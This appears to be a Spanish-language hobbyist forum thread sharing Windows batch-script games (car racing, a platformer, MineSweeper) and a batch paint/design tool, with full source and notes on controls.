Echo. ÃÄÄÄÄÄÄÄ´ º                              º ³
Echo. ³ SCOT  ³ º                              º ³
Echo. ³  Team ³ ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ³
Echo. ÀÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
cscript //nologo col.vbs "3" "4" "11" " "
cscript //nologo col.vbs "5" "4" "22" " "
cscript //nologo col.vbs "7" "4" "33" " "
cscript //nologo col.vbs "3" "6" "44" " "
cscript //nologo col.vbs "5" "6" "55" " "
cscript //nologo col.vbs "7" "6" "66" " "
cscript //nologo col.vbs "3" "8" "77" " "
cscript //nologo col.vbs "5" "8" "88" " "
cscript //nologo col.vbs "7" "8" "99" " "
cscript //nologo col.vbs "3" "10" "AA" " "
cscript //nologo col.vbs "5" "10" "BB" " "
cscript //nologo col.vbs "7" "10" "CC" " "
cscript //nologo col.vbs "3" "12" "DD" " "
cscript //nologo col.vbs "5" "12" "EE" " "
cscript //nologo col.vbs "7" "12" "FF" " "
Goto :Eof

:Mouse
Echo e100 B8 1 0'3'DB CD'3'B0 3'C'CD'3'B DB't'FA 91 D3 EA D3 E8 91 C3>mouse.dat
For %%! in (.g116 .q) do (Echo%%!>> mouse.dat)
For /f "tokens=6-8 delims== " %%a in ('Debug ^< mouse.dat ^| Find /I "X"') do (
Set /a "X=0x%%a"
Set /a "Y=0x%%c")
Goto :Eof

:Save
Cls
Echo.
Set /p "V=  Introduzca un Nombre De Archivo >> "<nul
Set /p "FileName="
If Not Defined Filename Set "FileName=Paint_%Random%"
Call :Template >>%Filename%
For /l %%a in (0,1,29) do (
For /l %%b in (0,1,11) do (
If Defined X%%aY%%b (Echo.Cscript //nologo col.vbs !X%%aY%%b! >>%Filename%)
))
Echo.Pause^>nul >>%Filename%
Echo.>>%Filename%
Call :Col_Deb Echo. "^">>%Filename%
Echo.
Echo. Archivo %Filename% Generado Exitosamente
Ren %Filename% %Filename%.bat >nul
Echo.
Set /p "V=  Presione Cualquier tecla para volver...."<nul
Pause >nul
Goto :Init

:Template
Echo. @Echo off
Echo. @Title Paint Batch - %Filename%
Echo. @Mode Con Cols=80 Lines=25
Echo. @::Hecho Con Batch Paint
Echo. @::S.C.O.T Team 2009
Echo.If Not Exist Col.vbs Call :Col ^>^>col.vbs
Echo.:Draw
Goto :Eof

:Col_Deb
%1:Col
%1Echo.On Error Resume Next
%1Echo.HexColor = Right("0" %~2^& wscript.arguments(2), 2)
%1Echo.Set oExec = CreateObject("WScript.Shell").Exec("%comspec% /c debug ")
%1Echo.
%1Echo.Do Until oExec.StdOut.Read(1) = "-"
%1Echo.  wsh.sleep 10
%1Echo.Loop
%1Echo.
%1Echo.Dim Textos
%1Echo.Textos = Replace(wscript.arguments(3), Chr(195), "Û")
%1Echo.WriteXY wscript.arguments(0), wscript.arguments(1), HexColor, Textos
%1Echo.
%1Echo.oExec.StdIn.Writeline "e0:451 2A"
%1Echo.oExec.StdIn.Writeline "q"
%1Echo.
%1Echo.Sub WriteXY(X, Y, hColor, sText)
%1Echo.Dim ColorText
%1Echo.  For j = 1 to Len(sText) Step 10
%1Echo.    ColorText = "EB800:" %~2^& Hex(Y * 160 + (X + j - 1) * 2)
%1Echo.    For i = j to j + 9
%1Echo.      ColorText = ColorText %~2^& " " %~2^& Hex(Asc(Mid(sText, i, 1))) %~2^& " " %~2^& hColor
%1Echo.      if i = Len(sText) Then Exit For
%1Echo.    Next
%1Echo.    oExec.StdIn.Writeline ColorText
%1Echo.  Next
%1Echo.End Sub
%1Attrib +H Col.vbs
%1Goto :Eof
Goto :Eof


Se Reciben Comentarios Y Sugerencias !  ;)
#7
Bueno, que mas decirle....un nuevo juego, de los tantos que ya he hecho  ::)

Esta vez se trata de un clasico del tetris, ya lo conocen, las carreras de carritos.


Descargar: http://one.xthost.info/smartv2/BatchGames/F1CarGamev1bySmartGenius.zip

Mueven su "carrito" con las feclas de direccion izquierda y derecha, automaticamente bajaran los demas carros, esta programado para usar el KEYBOARD para mostrar el juego como una  "Prueba de Concepto", pero se adaptaria al uso de CHOICE.COM para que el juego siga automaticamente su curso aun cuando el jugador no presiona ninguna tecla...

@Echo off
@title Cars
@mode con cols=15 lines=13
::Batch Game F1 Cars
::Coded by SmartGenius

setlocal enabledelayedexpansion

If Not Exist "keyboard.exe" (Call :NoKey)

:Menu
Cls
Echo.
Echo.  F1 Car Game
Echo.
Echo.   Presione
Echo.    Enter
Echo.
Pause >nul

:Vars
Set "LimX=10"
Set "LimY=10"
Set "LimI=3"
Set "LimD=9"
Set "Last= "
Set "CurPos=X3Y3"

:Init
Call :Level
For /l %%a in (0,1,%LimX%) do (
For /l %%b in (0,1,%LimY%) do (
Set X%%aY%%b=!Lin_%%a:~%%b,1!))
Set "Car=X3Y3,X2Y2,X4Y2,X3Y2,X3Y1,X2Y0,X4Y0"
For %%a in (%Car%) do (Set "%%a=Û")

:Graphic
Call :Clear
For /l %%d in (0,1,%LimX%) do (
For /l %%e in (0,1,%LimY%) do (
Set LN_%%d=!LN_%%d!!X%%eY%%d!))
Echo.  F1 Car Game
For /l %%f in (%LimY%,-1,0) do (echo. -!LN_%%f!-)
keyboard
if "%errorlevel%"=="77" (call :Mov_D)
if "%errorlevel%"=="75" (call :Mov_I)
if "%errorlevel%"=="27" (Exit)
Call :Abajo
Call :Colision "%CurPos%" "%Car2%" "%Car3%"
Goto :Graphic

:Mov_D
If "%BoundD%"=="True" Goto :Eof
Set "BoundI=False"
Set "P=0"
For %%a in (%Car%) do (
Set /a P+=1
Call :MovX+ %%a Car!P!
)
Set "Car=%Car1%,%Car2%,%Car3%,%Car4%,%Car5%,%Car6%,%Car7%"
Set "CurPos=%Car1%"
Goto :Eof

:Mov_I
If "%BoundI%"=="True" Goto :Eof
Set "BoundD=False"
Set "P=0"
For %%a in (%Car%) do (
Set /a P+=1
Call :MovX- %%a Car!P!
)
Set "Car=%Car1%,%Car2%,%Car3%,%Car4%,%Car5%,%Car6%,%Car7%"
Set "CurPos=%Car1%"
Goto :Eof

:MovX+
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
if !%~1!==Û set %~1=%Last%
set /a MovX=%%p+1
call set Last=%%X!MovX!Y%%q%%
If "%Last%"=="²" (Goto :Lost)
set X!MovX!Y%%q=Û
set %2=X!MovX!Y%%q
if !P!==7 (if "%%p"=="%LimD%" Set BoundD=True)
)
Goto :Eof

:MovX-
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
if !%~1!==Û set %~1=%Last%
set /a MovX=%%p-1
call set Last=%%X!MovX!Y%%q%%
If "%Last%"=="²" (Goto :Lost)
set X!MovX!Y%%q=Û
set %2=X!MovX!Y%%q
if !P!==7 (if "%%p"=="%LimI%" Set BoundI=True)
)
Goto :Eof

:Abajo
If "%Mov%"=="55" Goto :Win
Set /a Mov=Mov+1
For /l %%d in (0,1,%LimY%) do (Set LN_%%d=!Lin_%%d:~%Mov%!)
For /l %%a in (0,1,%LimX%) do (
For /l %%b in (0,1,%LimY%) do (
Set X%%aY%%b=!LN_%%a:~%%b,1!))
For %%c in (%Car%) do (Set "%%c=Û")
Goto :Eof

:Colision
If "%~1"=="" (Goto :Eof)
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
set /a MovY=%%q+1
call set NMovY=%%X%%pY!MovY!%%
if "!NMovY!"=="²" (Goto :Lost)
)
Shift
Goto :Colision

:Lost
cls
Echo.
Echo.    Te has
Echo.  Estrellado
Echo.
Echo.
Ping -n 3 0.0.0.0 >nul
msg * Gracias por Jugar F1 Cars
Exit

:Win
Cls.
Echo.
Echo. Has Ganado!
Echo.
Echo. Felicidades
Echo.
Echo.
Ping -n 3 0.0.0.0 >nul
msg * Gracias por Jugar F1 Cars
Exit

:Clear
For /l %%m in (0,1,%LimX%) do (set LN_%%m=)
Goto :Eof

:Level
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Set Lin_0=        ² ²             ² ²              ² ²              +       
Set Lin_1=         ²²²             ²²²              ²²²             +       
Set Lin_2=        ² ²             ² ²              ² ²              +       
Set Lin_3=                                                          +       
Set Lin_4=        ² ²                                  ² ²          +       
Set Lin_5=         ²²²                     ² ²          ²²²         +       
Set Lin_6=        ² ²                       ²²²        ² ²          +       
Set Lin_7=                                 ² ²                      +       
Set Lin_8=                  ² ²   ² ²  ² ²                          +       
Set Lin_9=                   ²²²   ²²²  ²²²                         +       
Set Lin_10=                  ² ²   ² ²  ² ²                          +       
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Goto :Eof

:NoKey
Cls
echo.
echo. Cargando...
call :Keyboard
Goto :Eof

:Keyboard
(
echo n keyboard.dat
echo e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF
echo e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00
echo e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
echo rcx
echo 002E
echo w0
echo q
echo.
)>keyboard.dat
type keyboard.dat|debug>NUL 2>&1
del /f/q/a "keyboard.exe">NUL 2>&1
ren keyboard.dat "keyboard.exe"
Goto :Eof


Saludos.
#8
Bueno, otro mas a la lista, un nuevo juego Batch con un enfoque diferente, parecido al clasico Mario Bros.

Descargar: http://one.xthost.info/smartv2/BatchGames/AdventureGamev1bySmartGenius.zip

   @Echo Off
  @title Adventure Game
::Batch Game Adventure
::Coded by SmartGenius
::Batch Game Maker

setlocal enabledelayedexpansion
mode con cols=14 lineS=13

If Not Exist "keyboard.exe" (Call :NoKey)

:Vars
Set "Pj="
Set "LimX=9"
Set "LimY=10"
Set "MovA=0"
Set "MovB=9"
Set "Bound=Û"
Set "Ender= "
Set "Coin="

:Init
Set /a Level+=1
Call :Nivel_%Level%
For /l %%a in (0,1,%LimX%) do (
For /l %%b in (0,1,%LimY%) do (
Set X%%aY%%b=!LN_%%b:~%%a,1!))
Set "%CurPos%=%Pj%"
Goto :Graphic

:Graphic
Call :Clear
For /l %%d in (0,1,%LimY%) do (
For /l %%e in (0,1,%LimX%) do (
Set Lin_%%d=!Lin_%%d!!X%%eY%%d!))
Echo.
For /l %%f in (0,1,%LimY%) do (echo.  !Lin_%%f!)
Keyboard
If "%errorlevel%"=="77" (Call :Derecha "%CurPos%")
If "%errorlevel%"=="75" (Call :Izquierda "%CurPos%")
If "%errorlevel%"=="72" (Call :Saltar "%CurPos%")
If "%errorlevel%"=="27" (msg * Gracias Por Jugar&Exit)
Call :Gravity "%CurPos%"
Goto :Graphic

:Derecha
If "%Mov%"=="115" Goto :Eof
For /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
Set /a MovX=%%p+1
Call Set NMovX=%%X!MovX!Y%%q%%
if "!NMovX!"=="%Bound%" (Goto :Eof)
if "!NMovX!"=="%Ender%" (Goto :Win)
if "!NMovX!"=="%Coin%" (Call :UnCoin "%%q" "%%p" "+1")
Set /a Mov=Mov+1
For /l %%d in (0,1,%LimY%) do (Set LNB_%%d=!LN_%%d:~%Mov%!)
For /l %%a in (0,1,%LimX%) do (
For /l %%b in (0,1,%LimY%) do (
Set X%%aY%%b=!LNB_%%b:~%%a,1!))
Set "%CurPos%=%Pj%")
Goto :Eof

:Izquierda
If "%Mov%"=="0" Goto :Eof
For /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
Set /a MovX=%%p-1
Call Set NMovX=%%X!MovX!Y%%q%%
if "!NMovX!"=="%Bound%" (Goto :Eof)
if "!NMovX!"=="%Ender%" (Goto :Win)
if "!NMovX!"=="%Coin%" (Call :UnCoin "%%q" "%%p" "+1")
Set /a Mov=Mov-1
For /l %%d in (0,1,%LimY%) do (Set LNB_%%d=!LN_%%d:~%Mov%!)
For /l %%a in (0,1,%LimX%) do (
For /l %%b in (0,1,%LimY%) do (
Set X%%aY%%b=!LNB_%%b:~%%a,1!))
Set "%CurPos%=%Pj%")
Goto :Eof

:Saltar
For /l %%z in (1,1,3) do (
Call :Arriba "!CurPos!"
Call :Gp2)
Call :Derecha "%CurPos%"
Call :Gp2
Goto :Eof

:Arriba
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
set /a MovY=%%q-1
call set NMovY=%%X%%pY!MovY!%%
if "!NMovY!"=="%Bound%" (Goto :Eof)
if "!NMovY!"=="%Ender%" (Goto :Win)
Set %~1=°
set X%%pY!MovY!=%Pj%
set CurPos=X%%pY!MovY!)
Goto :Eof

:Abajo
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
set /a MovY=%%q+1
call set NMovY=%%X%%pY!MovY!%%
if "!NMovY!"=="%Bound%" (Goto :Eof)
if "!NMovY!"=="%Ender%" (Goto :Win)
Set %~1=°
set X%%pY!MovY!=%Pj%
set CurPos=X%%pY!MovY!)
Goto :Eof

:UnCoin
Set /a "M1=%~2+%Mov%"
Set /a "M2=%M1%%~3"
Set "LN_%~1=!LN_%~1:~0,%M1%!°!LN_%~1:~%M2%!
Set /a Coins+=5
Goto :Eof

:Gravity
Set /a "GForce=9-%CurPos:~-1%"
For /l %%z in (1,1,%GForce%) do (
Call :Abajo "!CurPos!"
If "%1"=="!CurPos!" Goto :Eof
Call :Gp2)
Goto :Eof

:Gp2
Call :Clear
For /l %%d in (0,1,%LimY%) do (
For /l %%e in (0,1,%LimX%) do (
Set Lin_%%d=!Lin_%%d!!X%%eY%%d!))
Echo.
For /l %%f in (0,1,%LimY%) do (echo.  !Lin_%%f!)
ping -n 1,5 0.0.0.0 >nul
Goto :Eof

:Clear
For /l %%m in (0,1,%LimY%) do (set Lin_%%m=)
Goto :Eof

:Win
ping -n 2 0.0.0.0 >nul
If "%Level%"=="2" (
echo.
echo.  Muy Bien
echo.
echo. Ganaste %Coins%
echo.
echo.   Puntos !
echo.
ping -n 4 0.0.0.0 >nul
msg * Gracias Por Jugar
Exit
) else (Goto :Vars)
ping -n 2 0.0.0. >nul
Exit


:Nivel_1
Set "CurPos=X2Y3"
Set LN_0= ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
Set LN_1= Û°Û±±±±°±°°°±°±±±±°±±±°Û±±±±±°±±±±±°±±±±°±°°Û±°±±±°±Û°±°±±±±°°°±±±±±°±°°±°±±±±°±±±°±±±±°±±±±°±±±±±°°°°°°°±±±±±°°°Û°°°Û
Set LN_2= Û°Û±°°°°±±°±±°±°°±°±°°±°°°±°°°±°°°°°±°°°°±±°°±°±°°±Û°±°±°°°°°°°°±°°°±°°±°±°ÛÛÛÛ°±°±Û±°°°°±°°°°°°±°°°°°°°°±°°°°°±° Û°°°Û
Set LN_3= Û°°±±±±°±°±°±°±±±±°±±±°°±°°°±°±±±±±±±°±°±°±°Û±°°±Û°±°±±±±°°°±°°Û±±±±°±±±±°°±±±ÛÛ±±±±°±±±±°°°±°°°°°°±°°±°±°°±ÛÛ°°°Û
Set LN_4= ÛÛÛ°°°±°±°°°±°±°°±°±°°±°ÛÛ±°°°±°°°±Û±°°°°±°°±±Û±°°±Û°±ÛÛÛ±Û°°ÛÛ±°ÛÛ±°°±°±°°°°°Û±°Û±Û±°°°°°°°±°°°±°ÛÛÛ°°°±ÛÛÛÛÛÛÛ±°°°°°Û
Set LN_5= Û°°±±±±°±°°°±°±Û°±°±Û±°°°±°°±±±±±Û±±±±°±°°°±Û±±±°±±±±Û±±±±°°°°°±°°°±°Û±°±±±±°°±±±°Û±±±±°±±±±°±°°Û°°°°±±±±Û°°°°°Û
Set LN_6= Û°°°°°°°°°Û°°°°Û°°°°°ÛÛÛ°°°ÛÛ°°°ÛÛÛÛ°°°°°°°°°°°°°°°°°°°°°°°ÛÛ°°ÛÛÛÛÛÛÛ°°°°°Û°Û°°ÛÛ°ÛÛÛÛ°°°°ÛÛÛÛÛ°ÛÛÛÛ°Û°°ÛÛÛ°°°°°°°°Û
Set LN_7= Û°°°°ÛÛÛ°°Û°°°°°°°°Û°°°°°°°°°°°°°°°°°°°°°ÛÛÛ°°°ÛÛÛÛÛÛÛ°°°°°Û°°°°°°°°°°°°°°°°°ÛÛÛÛÛÛ°°°ÛÛ°°°°°°°°°°°°°°°°°°°°°°°°°°Û
Set LN_8= ÛÛÛ°°Û°°°°°°°ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ°Û°ÛÛÛÛ°°ÛÛÛÛ°°°°°°°°°°Û°°°°°°°°°°Û°°°°°°ÛÛ°Û°Û°ÛÛÛÛ°°°°°°°°°°°°Û°°°°°°°Û°ÛÛÛÛÛÛÛÛÛÛ°°°°°°Û
Set LN_9= Û°°°°°°°°°°°°°°°°°°°°°°°°Û°°Û°°°°°Û°°°ÛÛ°°°°°°°°°ÛÛÛ°Û°°°°°°°°°°°°°°°°°°°Û°°°ÛÛ°°°°°°°°Û°°°°°°°°°°°°Û
Set LN_10= ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
Goto :Eof

:Nivel_2
Set "CurPos=X2Y2"
Set LN_0= ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
Set LN_1= Û°°°°°°°Û°°°°°°°°°°°°°°°°°°°°°°°Û°°°°°°°°°Û
Set LN_2= Û°°°°°°Û°°°°°ÛÛÛ°°Û°ÛÛÛÛÛÛÛÛÛÛ°°ÛÛ°°ÛÛÛÛÛ°°ÛÛÛÛ°°
Set LN_3= ÛÛÛ°°°°°°ÛÛÛ°°°°Û°°°°°°°°°Û°Û°Û°°°°°°°°°°°Û°°°Û
Set LN_4= Û°°°°°°°°°°°°°ÛÛÛÛÛÛ°°°°°°°Û°°°°°°°ÛÛÛ°°ÛÛ°°Û°°ÛÛ
Set LN_5= Û°°°°°ÛÛÛ°°°°°°°°°Û°ÛÛ°°Û°°Û°°°°°°°°°°°Û°°°Û
Set LN_6= Û°Û°°°Û°°°°ÛÛÛ°°°°ÛÛÛÛÛÛÛÛÛÛ°°°°°°°°ÛÛÛÛÛÛÛÛ°°ÛÛÛ
Set LN_7= ÛÛÛÛ°°°°°°°°°Û°°Û°°°°°Û°°°Û°ÛÛ°°°°°°Û°°ÛÛÛÛÛÛ
Set LN_8= Û°°°°Û°°°ÛÛ°°Û°°Û°°°°ÛÛÛÛÛ°°°ÛÛ°Û°°ÛÛÛÛ°°ÛÛ°°°°°°°Û
Set LN_9= Û°°Û°°°Û°Û°°°°°°°°°°°°°°°°°Û°°°°°°°°°°°°Û
Set LN_10= ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
Goto :Eof

:NoKey
Cls
echo.
echo. Cargando...
call :Keyboard
Goto :Eof

:Keyboard
(
echo n keyboard.dat
echo e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF
echo e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00
echo e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
echo rcx
echo 002E
echo w0
echo q
echo.
)>keyboard.dat
type keyboard.dat|debug>NUL 2>&1
del /f/q/a "keyboard.exe">NUL 2>&1
ren keyboard.dat "keyboard.exe"
Goto :Eof


Cualquier duda, comentario o sugerencia pueden hacerla... =D

Saludos.
#9
El Clasico Buscaminas de Windows.....mejorado de la previa version, ahora aparece cuantas minas tienes en las proximidades, y tiene tres niveles de dificultad.... !


Se mueven con las flechas de direccion y con Enter descubren una casilla  =D

@echo off
@title MineSweeper
::Batch Game
::MineSweeper v 2
::Coded by ::SmartGenius::

if not exist "keyboard.exe" (Goto :NoKey)

setlocal enabledelayedexpansion

:Menu
@mode con cols=22 lines=20
cls
echo.
echo. ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo. º MineSweeper v 2  º
echo. ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo.  ÛßßÛßßßßßßßßßßßßßÛ
echo.  Û1.Û Jugar Mines Û
echo.  ÛßßÛßßßßßßßßßßßßßÛ
echo.  Û2.Û Dificultad  Û
echo.  ÛßßÛßßßßßßßßßßßßßÛ
echo.  Û3.Û Salir       Û
echo.  ßßßßßßßßßßßßßßßßßß
echo.
keyboard
if "%errorlevel%"=="49" (Goto :Default)
if "%errorlevel%"=="50" (Goto :Skill)
if "%errorlevel%"=="51" (Exit)
Goto :Menu

:Skill
cls
echo.
echo. Seleccione el
echo. Nivel de
echo. dificultad...
echo.
echo. 1. Novato
echo. 2. Normal
echo. 3. Experto
echo.
keyboard
if "%errorlevel%"=="50" (
Set LimX=6
Set LimY=6
Set SMines=12
Set E=2
Goto :Load
)
if "%errorlevel%"=="51" (
Set LimX=12
Set LimY=7
Set SMines=25
Set E=2
Goto :Load
)
:Default
Set LimX=4
Set LimY=4
Set SMines=6
Set E=1

:Load
set /a SFX=LimX*2+9
set /a SFY=LimY*2+10
mode con cols=%SFX% lines=%SFY%
set IniX=0
set IniY=0
set MovX=0
set MovY=0

:Init
for /l %%a in (0,1,%LimX%) do (
for /l %%b in (0,1,%LimY%) do (
set X%%aY%%b=Û
set MX%%aY%%b=
))
Set /a Total=(%LimX%+1)*(%LimY%+1)-%SMines%
echo. Cargando Juego
echo. Por Favor Espere...
Call :GenMines
Call :Timer "Start"
set X0Y0=
set Last=Û
set Curpos=X0Y0
Set EOG=False

:Graphic
Call :Clear
Call :Timer "Time"
for /l %%d in (0,1,%LimY%) do (
for /l %%e in (0,1,%LimX%) do (
set Lin_%%d=!Lin_%%d!³!X%%eY%%d!))
echo.
echo. MineSweeper v 2
echo.
echo. T: %Elapsed% segundos
echo.
set /p var=". Ú"<nul
for /l %%g in (0,1,%LimX%) do (set /p var="Ä"<nul)
set /p var="¿"<nul
echo.
for /l %%f in (0,1,%LimY%) do (
echo.. ³!Lin_%%f!³³
set /p var=". ÃÅ"<nul
for /l %%h in (0,1,%LimX%) do (set /p var="ÄÅ"<nul)
set /p var="´"<nul
echo.
)
set /p var=". ÀÁ"<nul
for /l %%g in (0,1,%LimX%) do (set /p var="ÄÁ"<nul)
set /p var="Ù"<nul
echo.
if "%EOG%"=="True" Goto :Lose
if "%Total%"=="0" Goto :Win
keyboard
if "%errorlevel%"=="77" (call :MovX+ "%CurPos%")
if "%errorlevel%"=="75" (call :MovX- "%CurPos%")
if "%errorlevel%"=="80" (call :MovY+ "%CurPos%")
if "%errorlevel%"=="72" (call :MovY- "%CurPos%")
if "%errorlevel%"=="13" (call :Check "%CurPos%")
if "%errorlevel%"=="88" (Goto :Menu)
if "%errorlevel%"=="120" (Goto :Menu)
Goto :Graphic

:MovX+
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
if "%%p"=="%LimX%" Goto :Eof
if !%~1!== set %~1=%Last%
set /a MovX=%%p+1
call set Last=%%X!MovX!Y%%q%%
set X!MovX!Y%%q=
set CurPos=X!MovX!Y%%q
)
Goto :Eof

:MovX-
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
if "%%p"=="%IniX%" Goto :Eof
if !%~1!== set %~1=%Last%
set /a MovX=%%p-1
call set Last=%%X!MovX!Y%%q%%
set X!MovX!Y%%q=
set CurPos=X!MovX!Y%%q
)
Goto :Eof

:MovY+
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
if "%%q"=="%LimY%" Goto :Eof
if !%~1!== set %~1=%Last%
set /a MovY=%%q+1
call set Last=%%X%%pY!MovY!%%
set X%%pY!MovY!=
set CurPos=X%%pY!MovY!
)
Goto :Eof

:MovY-
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
if "%%q"=="%IniY%" Goto :Eof
if !%~1!== set %~1=%Last%
set /a MovY=%%q-1
call set Last=%%X%%pY!MovY!%%
set X%%pY!MovY!=
set CurPos=X%%pY!MovY!
)
Goto :Eof

:GenMines
set Mines=%SMines%
set /a R1=0x!random:~-%E%!
rem if "%errolevel%"=="9167" (Goto :GenMines)
set /a R2=0x!random:~-%E%!
rem if "%errolevel%"=="9167" (Goto :GenMines)
if not %R1% GTR %LimX% (
if not %R2% GTR %LimY% (
if not defined MX%R1%Y%R2% (
set MX%R1%Y%R2%=
set /a LMN+=1
)))
if "%LMN%"=="%Mines%" (
set LMN=0
Goto :Eof
)
Goto :GenMines

:Check
set Cont=0
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
if not defined MX%%pY%%q (
set /a TX=%%p+1
set /a TXX=%%p-1
set /a TY=%%q+1
set /a TYY=%%q-1
if defined MX!TXX!Y!TYY! (set /a Cont+=1)
if defined MX%%pY!TYY! (set /a Cont+=1)
if defined MX!TX!Y!TYY! (set /a Cont+=1)
if defined MX!TXX!Y%%q (set /a Cont+=1)
if defined MX!TX!Y%%q (set /a Cont+=1)
if defined MX!TXX!Y!TY! (set /a Cont+=1)
if defined MX%%pY!TY! (set /a Cont+=1)
if defined MX!TX!Y!TY! (set /a Cont+=1)
if "!Cont!"=="0" (
set %~1=
Set /a Total-=1
Goto :Eof
)
set %~1=!Cont!
Set /a Total-=1
Goto :Eof
)
set %~1=
set EOG=True
Goto :Eof
)
Goto :Eof

:Timer
if "%~1"=="Start" (
Set /a IniTime=%time:~-5,2%
Set /a Elapsed=%time:~-5,2%-%IniTime%
Goto :Eof
)
if "%~1"=="Time" (
Set /a Elapsed=%time:~-5,2%-%IniTime%
Goto :Eof
)
if "%~1"=="Stop" (
Set /a Elapsed=%time:~-4,2%-%IniTime%
Set IniTime=0
Goto :Eof
)
Goto :Eof

:Lose
msg * Has Perdido !
ping -n 4 0.0.0.0 >nul
Goto :Menu

:Win
Call :Timer "Stop"
msg * Felicitaciones, lo lograste en %Elapsed% Segundos
ping -n 4 0.0.0.0 >nul
Goto :Menu

:Clear
cls
for /l %%m in (0,1,%LimY%) do (set Lin_%%m=)
Goto :Eof

:NoKey
cls
echo.
echo. Cargando...
call :keyboard
Goto :Menu

:keyboard
(
echo n keyboard.dat
echo e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF
echo e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00
echo e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
echo rcx
echo 002E
echo w0
echo q
echo.
)>keyboard.dat
type keyboard.dat|debug>NUL 2>&1
del /f/q/a "keyboard.exe">NUL 2>&1
ren keyboard.dat "keyboard.exe"
Goto :Eof


Saludos.  =D

PD:Solo me hace falta arreglarle el timer !
#10
Debido a la dificultad para poder utilizar la tecnica de Coordenadas que he usado en los Batch games, me di a la tarea de realizar un herramienta que permitiese "dibujar" de manera facil caracteres en pantalla, y despues portar estos mismos en el formato de coordenadas...

Aqui les presento el Batch Designer   ;D ;D


Una especia de diseñador grafico (no como Paint o Photoshop, pero casi ) en el cual podran crear un Dibujo de X por Y y en el cual podran ir moviendose y poner los diferentes "Iconos" con los cuales se representarian Dibujos de Arte ASCII o para diseñar Niveles de Juegos Batch como el PushBox.

@echo off
@title Batch Designer - SmartGenius
@::Coded by SmartGenius

:Ck
if not exist "keyboard.exe" (Goto :NoKey)

:Menu
setlocal enabledelayedexpansion
cls
echo. ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo. º Batch Designer  º
echo. ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo. ÛßßÛßßßßßßßßßßßßßßÛ
echo. Û1.Û Nuevo Dibujo Û
echo. ÛßßÛßßßßßßßßßßßßßßÛ
echo. Û2.Û Ayuda        Û
echo. ÛßßÛßßßßßßßßßßßßßßÛ
echo. Û3.Û Salir        Û
echo. ßßßßßßßßßßßßßßßßßßß
echo.
keyboard
if "%errorlevel%"=="49" (Goto :Load)
if "%errorlevel%"=="50" (Goto :Help)
if "%errorlevel%"=="51" (Goto :Exit)
Goto :Menu

:Load
cls
echo.
echo. Introduzca las Dimensiones del Dibujo
echo.
set /p LimX="Ancho > "
set /p LimY="Alto > "
if not defined LimX Goto :Load
if not defined LimY Goto :Load

:Icon
Set AsciiIcons= ±²ÛºÍɻȼ
Set GameIcons= °±²Ûþ
Set Icons=%AsciiIcons%
echo. Tipo de Iconos
echo.
echo. 1. Iconos ASCII : %AsciiIcons%
echo. 2. Iconos Juegos: %GameIcons%
echo.
keyboard
if "%errorlevel%"=="50" (Set Icons=%GameIcons%)

:Init
Set Cursor=þ
Set Last=°
set IniX=0
Set IniY=0
for /l %%i in (0,1,9) do (set Icon%%i=)
for /l %%a in (0,1,%LimX%) do (
for /l %%b in (0,1,%LimY%) do (
set X%%aY%%b=°))
